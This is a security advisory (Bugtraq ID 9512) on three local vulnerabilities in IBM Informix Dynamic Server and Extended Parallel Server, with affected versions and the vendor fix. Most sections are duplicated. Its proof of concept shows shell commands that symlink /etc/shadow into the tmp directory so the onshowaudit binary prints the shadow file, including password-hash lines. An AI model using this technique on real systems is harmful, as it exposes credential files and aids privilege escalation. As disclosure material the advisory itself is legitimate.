IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
BID:9512
Info
IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
| Bugtraq ID: | 9512 |
| Class: | Unknown |
| CVE: |
CAN_2004-2132 |
| Remote: | No |
| Local: | Yes |
| Published: | Jan 27 2004 12:00AM |
| Updated: | Jan 27 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities has been credited to Juan Manuel Pascual Escriba <[email protected]>. |
| Vulnerable: |
IBM Informix IDS 9.40 .UC2 IBM Informix IDS 9.40 .UC1 IBM Informix Extended Parallel Server 8.40 .UC1 |
| Not Vulnerable: |
IBM Informix IDS 9.40 .UC3 IBM Informix Extended Parallel Server 8.40 .UD1 |
Discussion
IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
IBM Informix Dynamic Server and IBM Informix Extended Parallel Server have been reported prone to multiple vulnerabilities.
The first issue exists in the onedcu binary. Specifically, when the binary is invoked a predictable temporary file is created. A local attacker may exploit this issue to launch symbolic link style attacks ultimately resulting in elevated privileges.
The second issue that has been reported to exist in the ontape binary. The ontape binary has been reported to be prone to a local stack based buffer overflow vulnerability. Ultimately the attacker may exploit this condition to influence execution flow of the vulnerable binary into attacker-controlled memory. This may lead to the execution of arbitrary instructions with elevated privileges.
A third issue has been reported to affect the onshowaudit binary. Specifically, the onshowaudit binary reads data from temporary files contained in the "tmp? directory. These files have predictable filenames; an attacker may exploit this issue to disclose data that may be used in further attacks launched against the vulnerable system.
IBM Informix Dynamic Server and IBM Informix Extended Parallel Server have been reported prone to multiple vulnerabilities.
The first issue exists in the onedcu binary. Specifically, when the binary is invoked a predictable temporary file is created. A local attacker may exploit this issue to launch symbolic link style attacks ultimately resulting in elevated privileges.
The second issue that has been reported to exist in the ontape binary. The ontape binary has been reported to be prone to a local stack based buffer overflow vulnerability. Ultimately the attacker may exploit this condition to influence execution flow of the vulnerable binary into attacker-controlled memory. This may lead to the execution of arbitrary instructions with elevated privileges.
A third issue has been reported to affect the onshowaudit binary. Specifically, the onshowaudit binary reads data from temporary files contained in the "tmp? directory. These files have predictable filenames; an attacker may exploit this issue to disclose data that may be used in further attacks launched against the vulnerable system.
Exploit / POC
IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
The following example has been supplied, as a proof of concept for the third vulnerability:
[informix@dimoni tmp]$ ls -alc /etc/shadow
-r-------- 1 root root 1020 Aug 10 01:59 /etc/shadow
[informix@dimoni tmp]$ ln -s /etc/shadow .0
informix@dimoni tmp]$ /home/informix-9.40/bin/onshowaudit
wait for the output
....
aaa:!!:11635:0:99999:7:::
pask:$1$4xnwc%eu$DfkZv8cTe6wywzom0:11938:0:99999:7:::
bbb:!!:11636:0:99999:7:::
cccc:!!:11636:0:99999:7:::
ddddd:!!:11647:0:99999:7:::
aaaaaa:!!:11806:0:99999:7:::
wwwwww:!!:11833:0:99999:7:::
zzz:!!:12027:0:99999:7:::
informix:$1$G8jXuut9eWsIiDsgwQb1KcPcfA/:12272:0:99999:7:::
Program Over.
The following proof of concept exploits have been supplied:
The following example has been supplied, as a proof of concept for the third vulnerability:
[informix@dimoni tmp]$ ls -alc /etc/shadow
-r-------- 1 root root 1020 Aug 10 01:59 /etc/shadow
[informix@dimoni tmp]$ ln -s /etc/shadow .0
informix@dimoni tmp]$ /home/informix-9.40/bin/onshowaudit
wait for the output
....
aaa:!!:11635:0:99999:7:::
pask:$1$4xnwc%eu$DfkZv8cTe6wywzom0:11938:0:99999:7:::
bbb:!!:11636:0:99999:7:::
cccc:!!:11636:0:99999:7:::
ddddd:!!:11647:0:99999:7:::
aaaaaa:!!:11806:0:99999:7:::
wwwwww:!!:11833:0:99999:7:::
zzz:!!:12027:0:99999:7:::
informix:$1$G8jXuut9eWsIiDsgwQb1KcPcfA/:12272:0:99999:7:::
Program Over.
The following proof of concept exploits have been supplied:
Solution / Fix
IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
Solution:
IBM has fixed these issues in IBM Informix Dynamic Server and IBM Informix Extended Parallel Server. Customers are advised to contact Customer Services for an upgrade to IBM Informix Dynamic Server 9.40.UC3 or IBM Informix Extended Parallel Server 8.40.UD1.
Solution:
IBM has fixed these issues in IBM Informix Dynamic Server and IBM Informix Extended Parallel Server. Customers are advised to contact Customer Services for an upgrade to IBM Informix Dynamic Server 9.40.UC3 or IBM Informix Extended Parallel Server 8.40.UD1.
References
IBM Informix Dynamic Server/Informix Extended Parallel Server Multiple Vulnerabilities
References:
References:
- OPEN3S-2003-08-08-eng-informix-onedcu (open3s)
- OPEN3S-2003-08-08-eng-informix-onshowaudit (open3s)
- OPEN3S-2003-08-08-eng-informix-ontape (open3s)
- Security issues in IBM Informix Dynamic Server and IBM Informix (XPS) (IBM)
- ----------========== OPEN3S-2003-08-08-eng-informix-onedcu==========---------- ([email protected])
- ----------========== OPEN3S-2003-08-08-eng-informix-onshowaudit ==========------ ([email protected])
- ----------========== OPEN3S-2003-08-08-eng-informix-ontape ==========---------- ([email protected])